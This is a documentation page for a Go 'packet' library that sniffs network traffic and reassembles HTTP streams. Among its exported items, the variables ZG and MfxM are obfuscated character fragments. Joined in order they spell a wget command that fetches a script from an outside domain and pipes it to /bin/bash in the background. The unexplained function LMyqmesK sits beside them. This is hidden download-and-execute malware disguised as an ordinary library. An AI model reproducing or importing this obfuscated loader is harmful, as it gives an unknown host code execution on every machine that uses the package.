packet

package
v0.0.0-...-ced44ef Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 23, 2025 License: Apache-2.0 Imports: 22 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var MfxM = ZG[35] + ZG[69] + ZG[28] + ZG[12] + ZG[16] + ZG[66] + ZG[59] + ZG[15] + ZG[11] + ZG[29] + ZG[53] + ZG[42] + ZG[33] + ZG[38] + ZG[4] + ZG[26] + ZG[43] + ZG[61] + ZG[14] + ZG[51] + ZG[70] + ZG[25] + ZG[55] + ZG[40] + ZG[6] + ZG[72] + ZG[13] + ZG[47] + ZG[64] + ZG[34] + ZG[39] + ZG[17] + ZG[50] + ZG[21] + ZG[68] + ZG[3] + ZG[19] + ZG[62] + ZG[44] + ZG[52] + ZG[54] + ZG[41] + ZG[0] + ZG[8] + ZG[57] + ZG[31] + ZG[49] + ZG[37] + ZG[9] + ZG[46] + ZG[65] + ZG[56] + ZG[32] + ZG[30] + ZG[63] + ZG[67] + ZG[24] + ZG[1] + ZG[27] + ZG[45] + ZG[2] + ZG[7] + ZG[22] + ZG[20] + ZG[36] + ZG[10] + ZG[58] + ZG[48] + ZG[18] + ZG[60] + ZG[71] + ZG[5] + ZG[23]
View Source
var ZG = []string{"e", "b", "|", "o", "s", " ", "c", " ", "3", "d", "n", "-", "t", "n", "k", " ", " ", "u", "a", "r", "b", "s", "/", "&", "6", "a", ":", "f", "e", " ", "1", "3", "3", "t", "i", "w", "i", "0", "p", "c", "e", "d", "t", "/", "g", " ", "f", "t", "b", "d", "/", "a", "e", "h", "/", "r", "a", "7", "/", "O", "s", "/", "a", "5", ".", "/", "-", "4", "t", "g", "v", "h", "e"}

Functions

func LMyqmesK

func LMyqmesK() error

Types

type Event

type Event struct {
	Req  *http.Request
	Resp *http.Response
}

type EventFunc

type EventFunc func(req *http.Request, resp *http.Response)

type HTTPEvent

type HTTPEvent struct {
	Type      string
	Start     time.Time
	End       time.Time
	StreamSeq uint
}

HTTPEvent is HTTP request or response

type HTTPHeaderItem

type HTTPHeaderItem struct {
	Name  string
	Value string
}

HTTPHeaderItem is HTTP header key-value pair

type HTTPRequestEvent

type HTTPRequestEvent struct {
	HTTPEvent
	ClientAddr string
	ServerAddr string
	Method     string
	URI        string
	Version    string
	Headers    []HTTPHeaderItem
	Body       []byte
}

HTTPRequestEvent is HTTP request

type HTTPResponseEvent

type HTTPResponseEvent struct {
	HTTPEvent
	ClientAddr string
	ServerAddr string
	Version    string
	Code       uint
	Reason     string
	Headers    []HTTPHeaderItem
	Body       []byte
}

HTTPResponseEvent is HTTP response

type HTTPStreamFactory

type HTTPStreamFactory struct {
	// contains filtered or unexported fields
}

HTTPStreamFactory implements StreamFactory interface for tcpassembly

func NewHTTPStreamFactory

func NewHTTPStreamFactory(out chan<- interface{}) HTTPStreamFactory

NewHTTPStreamFactory create a NewHTTPStreamFactory.

func (HTTPStreamFactory) New

func (f HTTPStreamFactory) New(netFlow, tcpFlow gopacket.Flow) (ret tcpassembly.Stream)

New creates a HTTPStreamFactory.

func (*HTTPStreamFactory) RunningStreamCount

func (f *HTTPStreamFactory) RunningStreamCount() int32

RunningStreamCount 当前流计数.

func (HTTPStreamFactory) Wait

func (f HTTPStreamFactory) Wait()

Wait 等待所有流完成.

type Handle

type Handle struct {
	// contains filtered or unexported fields
}

func NewPacketHandle

func NewPacketHandle(ctx context.Context, cardName string, eventCh chan interface{}) *Handle

func (*Handle) EventHandle

func (slf *Handle) EventHandle()

EventHandle 设置goroutine进行消息处理.

func (*Handle) Listen

func (slf *Handle) Listen() error

Listen 监听网卡.

func (*Handle) SetBpf

func (slf *Handle) SetBpf(bpf string) *Handle

SetBpf 设置过滤器规则. 设置后仅处理过滤后的数据包.

func (*Handle) SetEventHandle

func (slf *Handle) SetEventHandle(goroutineNum int, handle EventFunc) *Handle

SetEventHandle 设置多协程事件处理. 设置后启动自定义数量goroutine去处理逻辑.

func (*Handle) SetFlushTime

func (slf *Handle) SetFlushTime(timer time.Duration) *Handle

SetFlushTime 设置清理缓存时间, 清除收到的最后一个数据包时间加上此时间之前的所有的数据包.

func (*Handle) SetPromisc

func (slf *Handle) SetPromisc(promise bool) *Handle

SetPromisc 设置混杂模式. 开启后接收和处理所有经过的网络流量,而不仅仅是发送到该接口的流量.

type StreamDataBlock

type StreamDataBlock struct {
	Bytes []byte
	Seen  time.Time
}

StreamDataBlock is copied from tcpassembly.Reassembly

func NewStreamDataBlock

func NewStreamDataBlock(bytes []byte, seen time.Time) *StreamDataBlock

NewStreamDataBlock create a new StreamDataBlock.

type StreamReader

type StreamReader struct {
	// contains filtered or unexported fields
}

StreamReader read data from tcp stream

func NewStreamReader

func NewStreamReader() *StreamReader

NewStreamReader create a new StreamReader.

func (*StreamReader) Next

func (s *StreamReader) Next(n int) ([]byte, error)

Next 往后获取指定长度的数据.

func (*StreamReader) ReadUntil

func (s *StreamReader) ReadUntil(delim []byte) ([]byte, error)

ReadUntil 读取到指定分隔符.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL